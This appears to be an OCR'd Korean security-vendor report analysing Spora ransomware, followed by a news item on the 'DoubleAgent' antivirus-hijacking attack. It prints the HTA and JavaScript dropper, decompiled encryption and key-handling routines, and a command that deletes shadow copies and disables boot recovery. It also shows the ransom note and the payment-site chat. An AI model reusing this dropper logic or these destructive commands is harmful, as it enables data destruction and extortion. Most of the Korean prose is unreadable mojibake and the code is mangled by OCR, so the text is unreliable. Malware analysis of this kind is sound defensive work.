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85KB

33ABKa NDKMHATAE W ospadoTaqHal
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H|20H| BF= HTATIZ2 HTML Application =, LWRT == HTML A4S ARESIHH E2tX] R0
SEHOZ Mol 7i50lChs FHEO| AL AEFE MXK= 0] EEE 280610 ARBAHHTALIZS AMSHAIS

< HTA: APPLICATICN WINDCWSTIATE = 'minimize'’ f/ >
< script language = "v
last = CreateObject ("l

1™y .ExpandEnvironmentStrings ("$tempi™)

Set lstp = CreateCbhiject("S FileSystemCkiect™) .CreateTextFile (last + "‘close.3="): // Create J5 File
lstp.WriteLine "[functlon[]{var qP Function; function Gr(x){var k=691452;var s=x.length; ...zcy4z
lstp.Close:

CreateCbject (" WScript.Shell ").Run " % temp ¥ % close.js ™, 0O: //Run J5 File

window.close ()

<fscript>

(O 2HTALIY LiRFE

HTAIIUO| LHFF == vbscript 2 ZFEE|ACH %TEMP%EE olfl0 closejs TIES EE = Ao}

2.2 close js IiUEAM

i
I
rin
I-.Ll

s
i

EE.*E.J closejs A== &4 H BXIS Llot7| floll H=2IE|0] ACE MM BER 245 216
:,

E2I610 2AMZ2 TIHSIACT L2 2318t close js IHAUC| Y FEO0ICE, 0] == closejs 2] SHA SHRIE H1

%Ult
var objWshShell = CreateObject ("WScript.Shell1");
var FilePath = objWshShell. ExpandEnVlronmentStrlngs{FllePath), //FilePath == %Temp%\810631le3ded.exe
var objStream = new CreateObject ("ADODB.Stream");
var DocFilePath = objWshShell.ExpandEnvironmentStrings (DocFilePath); //DocFilePath == %Temp%\doc_6d518e.docx
var objStream.Type = 1;

var objStream.Open() ;
var objStream.Write (PE_DATA) ;

try {
T objStream.SaveToFile (FilePath, adSaveCreateOverWrite);

} catch (except_0) {}

objStream.Close() ;

objStream.Type = 1;

objStream.Open() ;

objStream.Write (DOC_DATA) ;

try {

T objStream.SaveToFile (DocFilePath, adSaveCreateOverWrite);
} catch (except 1) {}
objStream.Close() ;

try {
T objWshShell.Run("" + DocFilePath + "", 1, 0); // 1 == Activate and display the window.
} catch (except 2) {}:

try {
T objWshShell .Run("" + FilePath + "", 0, 0); // 0 == Hide the window
} catch (except_3) {}

[O2! 3| 2= dosejs TE U

ESTsecurity



sﬂf%'S %TEMPY%6201l doc_6d518e.docx Ift 81063163ded.exe IS
tCt. doc_6d518e.docx IIUS G0 ALZAIH| EA] DfU0| MatiES HoF0
AMAE= EA OIS &ME MRIZ LIES SISt o~ QICt A1K| iAol

L-_O - =

Lt &
81063163ded.exe = ASAAH| 2O[X| = HEHZ AbECL

2.3 81063163ded.exe I} £

231 5 =0

GetVolumelInformationW{va
pOptionalEntropy.pbData &UolumesSerialHumber ;
pOptionalEntropy.cbData 4;

RtlComputeCrcd2 = GetPrucﬂddrESS(u1 “"RtlComputeCrc3d2™});
memset = GetProcAddress{ui, "memset');

memcpy = GetProchAddress{vi, “memcpy®};

8, 0, &UolumeSerialNumber, 8, 8, @, 8);// UolumeSerialZ £ ZH2|

u2 = GetCommandLineW();
vd = Str3trW{vz, L"/u"});
£/ MutexZS ZHRIGHH A"E0H T2 ~AZx L4HE0IR] Yol HAYH ZAEAT
ifF ( twd )}
{
wsprintfW{va, L"mzu", @); #£7/ Hutex == 'm" + volumeserial({Decimal}

if { OpenMutexW{1u, 8, uv@) }
goto ExitProcess;
CreateMutexW (8, 8, va);
H

(1214 Z=As sRIEs

= OpYTEL SEAMS U|5H| U5H Mutex S ARBSITE Mutex = 21E 2K mi'T} C E2jo]=0]
Serialnumber(16 21497} ZEHE! SEHZ MAEICE 015 Mutex S 2915101 S2A13H F0[2{3 ST TMAS
Z261T SRA0| OfLIZI A0 TES gkt

232 NAH 2ol K| 2 2ia)

L= MSXIOIZ] SIES HHRIHIACI AIAR 2RI7ISS HBSICL AIXE 288 S5101 S5 AIHS| 28
MES SARZS SIS oiig AP0 A3 IHI0|Lt B0 S PIEQ $1I2 02 =9l

menset{&pE=ecinfo, @, 68);

pExecInfo.nShow = @8;

pExecInfo.chSize = 68;

pExecInfo_1pFile = L"umic.exe";

pEzecInfo.lpParameters = L"process call create W'cmd.exe /c vssadmin.exe delete shadows /fall /quiet & bcdedit.exe fset {"
“default} recoveryenabled no & becdedit.exe /set {default} bootstatuspolicy ignoreallfailuresW"";

pExecinfo._fMask = 1824;

vl = B8;

do

if { ShellExecuteExW({&pExecInfo) )

(72! 5] AAR =1 2 P2tet e
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‘spora’
7|0 HO| ARl U= HIERF C|ASZ.

result = WHetOpenEnumW{2u, @, B, lpHetResource, &hEnum};

if { tresult )

{
networkdrivelist = LocalAlloc{@x4Bu, Bx4000u);
networkdrivelist = networkdrivelist ;
uf = networkdrivelist H
if ( networkdrivelist )
{
lpHetResource = -1;

Buffersize = BOx4000;

// Hetwork Driver Listing

if { tWHetEnumResourceW{hEnum, &lpHetResource,
+ 28);

networkdrivelist_ = (networkdrivelist

do
if { *=(networkdrivelist - 8) & 2 )

{
crypt_networkdisk{{networkdrivelist

- 5));
else if { =(networkdrivelist_ - 4) == 1}
{
v5 = 1strlenW{=networkdrivelist_);
networkdrivelist = LocalAlloc(Ax4B8u,
u? = networkdrivelist;
if ( networkdrivelist )

{
lstrcpyW{networkdrivelist, =networkdrivelist_);

crpyfilelisting(u7);
LocalFreef{v?);
H
H

(72 6 HIESIT C]AS Zac

2 *® 05 + 16);

S5} T TRlS 2
55} L0l afsict

networkdrivelist

2AEIBICE T2 2hgofels Cr2)

A0

, GBuffersize) && lpHetResource )

A= ZME EC0|2S Siol0] @issl Oief MA0| RU=X| 2elet = 2|ATSI0] [t T2 st

O—1=— —
[_HA|' ]]'_I-O k=2 2 A

15trcatW(1pStr1ng1 Lt ) 5
1psStringi1a = FindFirstFileW{lpString1, v2);
if ( 1pStringla == -1 )
return LocalFree{uv?);
*(StrRChry(vd, @, "W') + 2) =
while { 1)
{
ul = uZ2->cFileMame;
if ( vZ->dwFileattributes & 0x10 )
if ( tlstrcnpW{uz->cFileMame, L".") || tlstrcmpU{u?->cFileName, L"..
goto LABEL_15;
uS = 1strlenW(u2->cFileName);
vi = 1lstrlenW(v3);
w7 = LocalAlloc(Bx4Bu, 2 = (u6 + u5) + 18);
ug = u7;
if { v7 )

1strcpyW{v?, uv3d);
1strcatW{vd, uvl);
crpyfilelisting{ua);
goto LABEL_13;

_ABEL_14:
w2 = vi1;
goto LABEL_15;
H

if { check_extention{u?->cFileName} )
break;
_ABEL_15:
if { tFindNextFileW{lpsStringla, v2) )
goto LABEL_18;

(02! 7] QS5 AL I BIAEl T
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"windows™+

"program files™
"program files (x86)"+
"games"s

[E 1] S5t MR A2

“Xls","doc”," xlsx", " doex”,".ntf, " odt", " pdf," psd”,".dwe",".cdr’
'.cd','.mdh','.1cd','.dbf",".sqlite","‘accdb",".jpg","‘jpeg’, Liff, . zip™
“rar”,".72"," backup"s

[ 2] 53t Cited SRt

[*SlSQ_D}OI ots } :?E:Olt*

vl = CreateFileMappingW{hcryptfile, @, du, 8, duMaximumSizelLow, 8);
hObject = vi;

if ( va )

{
1pFileNameb = MapUiewOfFile(ui, 6u
if { 1pFileNHameb )}
{

, 8, 0, dudMaximumSizeLow)j;

if ( CryptGenKey(®, CALG_AES_256, 1u, &phkey) )
{
HumberOfBytesRead = 0x80;

if ( CryptExportKey(phKey, 8, 8u, 8, &AES_KEY, &Number0fBytesRead}

&& CryptEncrypt(®, 8, 1, 8, &AES_KEY, &HumberDfBytesRead, Ox88u)
&& CryptEncrypt{phKey, 8, 8, 8, lpFileNameb

, 8, » &dwMaximumSizelLow, dwMaximumSizelLow) )
{

CRC = RtlComputeCrc32(0, &IES HKEY, 8x80);
SetFilePointer{hcryptfile, 8, 8, 2u);
WriteFile(hcryptfile, &AES KEY, Ox80u, &Number0OfBytesRead, 0);

WriteFile{hcryptfile, &CRC, 4u, &MNumberOfBytesRead, 0);
retn = 1;

¥
CryptDestroyKey(phKey);

tlala }:q:

ofid I0| 0]0] ==kt TIHE|Rp=A] 20!

0Il

—_

AES 7= RSASII7 |1Z Y= =lot0d AFEECT. 12|17 T OEX|=H0H| Ox80byte 2FE2
Ox4byte 2FE2| CRCZ0| 7L,
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Lhs 1382 Y=ele DIdHEsHo|Ct,

2 ot =l AES Key
(0x80)
U S 3HEl AES Key 2| CRC
(Ox04)

(72 9] 2453kl meumay

hcryptfile = CreateFileW(1lpFileHame,
if { hcoryptfile t= -1}
{
FileSizeHigh = 8;
1pFileHamea = GetFileSize{hcryptfile,
if { lpFileHamea >= Bx28
&& SetFilePointer{hcryptfile, BXFFFFFF?C,
&& ReadFile{hcryptfile, &AES HKEY, Bx88u,
&& HumberDfBytesRead == 0x80
&& ReadFile(hcryptfile, &CRC, Y4u, &MumberO0fBytesRead,
&& HumberDfBytesRead == 4 )

8xC 00888866, 1u, B, 3u,

&FileSizeHigh);

a, 2u) *= -1

a)

check _crypted = RtlComputeCrc32(8, &AES_KEY,
if { check_crypted == CRC )
1

retn =

¥

Bx88);

23

Bx88u,

&HumberO0fBytesRead,

8);

)

[ 10| S=2e YR=E=

(RC= HIOJE{0| 277} A=K 2215 o] flgh €AI2IS0|H. 0] €le|ES
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234 MEX D HE H HEHYE KEY Tl

‘spora’ HEY0= 2 §§}5._| OjY =20 AREALPCL| HEVHEHZ KEY IS =

BieiCh =& 0] 2EA 1D

o —
UEZXIS Solo] 4F I~R HOfIA| 1 9[ ID £ &=t €2 ID= Z8E ARBAIL| Z7IEE, =3}
= o
SEOIA| MD5, IL—E“é' S5} OfU =5 LRSIt T2 AREAL D 222 =0]C
switch ( v ) S AEEmY OE 102
{
case '0':
vl2 = "2%;
goto LABEL_23;
case '1':
ul2 = "8°;
goto LABEL_23;
case '2':
vl2 = 'R*;
goto LABEL_23;
case '3':
vl2 = '0°;
goto LABEL_23;
case '4':
vl2 = "A";
goto LABEL_23;
case '5':
ul2 = 'H';
goto LABEL 23;
case '6":
vl2 = 'F';
goto LABEL 23;
case '7':
vl2 = 'G";
goto LABEL 23;
case '8':
vl2 = 'E';
goto LABEL 23;
case '9°:
vl2 = 'K';
goto LABEL 23;
default:
break;

H

[IZ 1] AI2AH D UETFE o2

HeE ID= ZEEEE G101 U= KEYIIUC| 0|ECZ AIZ L) a2

CryptBinaryToStringA{pbBinary, pdwbatalen, 1u, v2, &pcchitring);
u3 = LocalfAlloc{®x4Bu, pcchString + 782);
vh = u3;

ul2 = uvi;

if ( v3 )

i
1strcpyafvd, "-——-- BEGIN RSA PRIVATE KEY----- Brin™) ;
1strcatAf{via, hKeya);
1strcatAaful, "————- END R5A PRIUATE KEY-———- Wrn®y;

infected_time = &u12[1strlenn{uvi)];

GetLocalTime (&SystemTime);

ué = &infected time[wsprintfa( F4 22t
infected_time,
"%82hu . %02hu.%84hu ",
SystemTime .wDay,
SystemTime .wHonth,
SystemTime .w¥ear)];

pdwDatalen = 257;

GetUserNameA{v6, &pdwDatalen); /# UserHameZ S

1strcatAfus, L™|");

u? = Bua[lstrlenA{uG)];

GetLocaleInfon(@x488u, 7u, v7, 9); // AEErpIS

1strcatAdv?, L"|");

vl = Bu7[lstrlenA{u?)];

1strcatafue, "Wbilwa( ”Mul._'—?—,t‘?ﬂﬁxM%ZE");H Data

lstrcatAfvd, L"|");

U9 = l1strlenA{u8);

wsprintfA{&UE[VY], "u|%u|%u|Bu|%u|%u, @, 8, 8, 8, A, B);

[O22 12 KEY 0] KEk= ZIg=E

ESTSECUF’H}’ Copyright by ESTsecurity corp. All rights reserved.
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EY II0j= 2SstE O S22 T2 ASsI5H RSA Private KEY I ZIEMEHE SIS} ZIA™MEH|=
HAE A|ZH UserName, XIG™E, D ME7t HEEIC

235 Il S5

SetFileattributesW{1pFileName, 2u});
if { GetFileattributesW(lpFileHame) & 2 && tCoCreatelnstance{&rclsid, @, 1u, &riid, &ppv) )

{
psz = LocalAlloc{Bx48u, Bx8808u);
if { psz )
v11 = SysAllocString{L"shell32.d11"};
if ( vi1 )
{
u12 = SysAllocString{L"cmd.exe");
if ( v12 )
{
if { tas )

u2 = (StrRChrW(lpFileName, B8, 92} + 2});
ult = StrRChrW({bstrString, @, 92);
if ( va )
uh = {ul + 2});
else
u5s = bstrString;
usprintfu(
PSZ,
L"/c explorer.exe W'%sW' & type W'%sW" > WUZREnpRBWMGsu & start WU%sH WURLtmpRhisw,
u3,
bstrString,
us,
vi,
EEH
v = SysfAllocString{psz);
bstritringa = v6;
if { v )

if ( (={=ppu + BA)){ppu, v6)
&& (={=xppu + 68))(ppv, vi1, 3)
&& t{x{*ppu + 80))(ppyv, v12)
&& t{x({*xppu + 60))(ppv, 7)
&& P (=xppu)(ppv, dword_483798, &u13) )

1strocpyW(psz, 1lpFileHame);
1strcatW{psz, L".1nk"});
u7 = SysAllocString{psz});

if ( w7 )
{
if  t{=(*u13 + 24)){v13, v7, B) )
vo = 1;

SysFreeString{v?)};

H
(=({=u13 + 8)){vi13);
H

[ 13] AP F=A| 3 Aade T

= HITFE= RE CHEL|Q} HfE* IOl ZEXfiohs 2= S0 52 £822 Aol EH9| HIZIP|(InkE

0?.:

T MAAEA S8E ZES Lo =0 F7HXQ! IHE /IS & ULk
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180| 2=E £ MY S22 ?lof CHHTIUS H¥ ASAPT 5=t A[EN e 4= A

=

MO |E= 2AFETAE MERP L AMHCZ 2Fock= A= TE #S 0lZoh= Ef HEdl=T

Bce Bawwu paboune v nuuHble daiinel 6binm 3awmdpoBaHsl

[ns BOCCTaHOBNEHWA UHGOPMaUKUK, MOMYYEHUS rapaHTHiA U NOAASPKKM,
crieyiiTe MHCTPYKUMM B NYHOM kabuHeTe.

0 https://spora.bz »

Tn4HbIA KabuHeT

KO327-28ZTG-TZTZT-HOTAH

YTO Cry4Hnocs?

1. TONbKD Mbl MOXEM BOCCTAHOBHTL Baw hains.

Bawum aiink! GLini MOAMGMUNPOBaHE! NPH NOMOLUM anropuTMa RSA-1024. Oﬁpawu i
npoecc
YHUKANEHEI KTKou. TIOROBPATS MW "ESMOMATE" Er0 HEEOIMOXHO.

2. He oSpawaiiTecs k nocpepHukan!

Bce KNio4M BOCCTAHOBNEHNA XPAHATCA TOMLKO Y HAC, COOTBETCTBEHHO, ecnin Bam kTo-mbo
TIREANOXMT BOCCTAHOBMTE MHAIODMALMIO, B NYYLUEM CIYY3E, OH CNEPEA KYNMUT KIKY Y Hac,
3aTem Baw NPOACT €10 C HALIEHKOF:

Ecry BaJ He cuo2u Haiimu Balw Ko CUHXDOHU3AYUL
Hexaume sdecs

(22 14] =531 AOIE

S5t AO|E Spora.bz 0| AREXL D E & & H&5LC

r 1

i CHOOSE KEY or |

I My Purchasings { e and . :
= 1 SYNCHRONIZE ‘ |

! WARNING! i

I 1908 30% 308 408 2 FREE e ———————
| Public Communication M 4
FULL RESTORE IMMUNITY REMOVAL FILE RESTORE I FILE RESTORE l essages
-w R
o hello admin you there?
Reference: You full decrypt price is 190 USD
Yes
Available Payments Current Balance: 0.00 USD o we have 1 pc crashed and not boot at

all all data lost except backup file how
we can restore?

How did you get here? Did you
find himi file?

If yes - all your data can be
restored

If you will wipe your data - you
will wipe your possibility to get
access 1o files.

BitCoin N el | hope, inside backup file there
accepted here are many encrypted files, so you
ran restare them
Discount Payment Deadiine Type your message.. send
0% NOT PAID 5 DAYS My Transactions
Date Task Balance

No transactions yet

[12! 15| =351 A0IE
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ol BAOIE= S=5} &2t OlL|2t TSt K= UWHS MBI ot oFET = MK HARICZ T
U= 202 ME MH|AE HiStit. Che2 2| g3 E MIKIKIet CHaket LEZOITY.

i

0

o=
| Public Communication .
Messages: 4
A A ~
o hello admin you there?
Yes

o we have 1 pc crashed and not boot at

all all data lost except backup file how

we can restore?

How did you get here? Did you

find html file?

If yes - all your data can be

restored.

If you will wipe your data - you

will wipe your possibility to get

access to files.

| hope, inside backup file there

are many encrypted files, so you

ran rectnre them 2t
Type your message..

Send

[I2! 16] AT E HMEIXIIQ] Chist
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1. S0A

I§X|&t = Si= ‘DoubleAgent’ 32, BE SIER HME, CtE[HIO|ZANIX| 50|%H

7FsSo

Unpatchable 'DoubleAgent’ Attack Can Hijack All Windows Versions — Even Your Antivirus!

O|AZIAO| HOt SIAIRI Cybellum & HOt A El0| S4XIS0| AFEE 285] H|oje &= UT=E 5180k= M=22
PR FOFNS WU7ARHCT DoubleAgent 2t HH = 0] MER FE QMM 712 XP OfAEE 10 7EK| 22 HZTQ]
YT OS OfIA SEIBICE G2 MZISH A2 DoubleAgent = 15 H = THX| & 3~ = fIE2 71521 “Application
Verifier'E ARSI H= ZI0|Ct, 0] 7152 23} E[X| LAUOH SHHEOI 7150|C} Application Verifier = HIAES
2lsH DLU(EX &3 2j0[E2{2))FS BE2AM|IAZ 2E6H= HEIQ 2B F10|Ct 0|20 JHUXIE0| =2

T2 7730 U= O2=S= HED| EiXlotr 8 = U

ri"

T,
IiX[Et 4= Qi= O[3 2AIEQ| Application Verifier 24&

FE2 Application Verifier £0| DLL & X2[chk= 2AI0| EXHSIC}, H-L S0 MEH, 27-H2| URE0|A
DLLS2 2=2 HIXIAEER| AEZ|Q| B Z=AMAN| HIRE E|X|2t SZXIS0| Tt DLLS 24 DLL = HHYX|7|
Ct. T3] SIO|MGILIAL S OIE2[7H|0 1M1 SYst 0|ECE =R XAER| 715 k= A TIC=,
71 Oto] HAR QIF DLL S 2E SELEIHO| HA| T2 MAN U 4= QA EC 7HAE DLLO|

= AAE! IS Mool B=0L SO = XEE= BHE Ao, B= AEE &= U=

= —
RIS 01X ShALE, MX|0] THE AMEAIL] MRES SI0M St S ofd S4= Adlie + UL

[

ol
I~

T

1
30

N

HN!

44 OH n
J
rIr

al
o

1]
0
[> g

lo

H
Q

DoubleAgent SZ22 QtE| HIO|2{AS 25| K[0fol
DoubleAgent SZ= A7 | 2felik, 0] B2 1252] 7I== OlEsH QEHOHA S8 T=T1#S 510X off 0l

HYOIZ EZIAIZLCE, O] 8 DoubleAgent 22 AKZH QIEBIO[R{A D2 IS SAAPY, S HOH
ATEQI0S CIATS A55} sli= HAUOIZ HEKHCY
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RIZS0] DoubleAgent S0 FIf31Cta HaHCt

HI

Offl= Feis e 2t HiES2l =501

. Avast (CVE-2017-5567)
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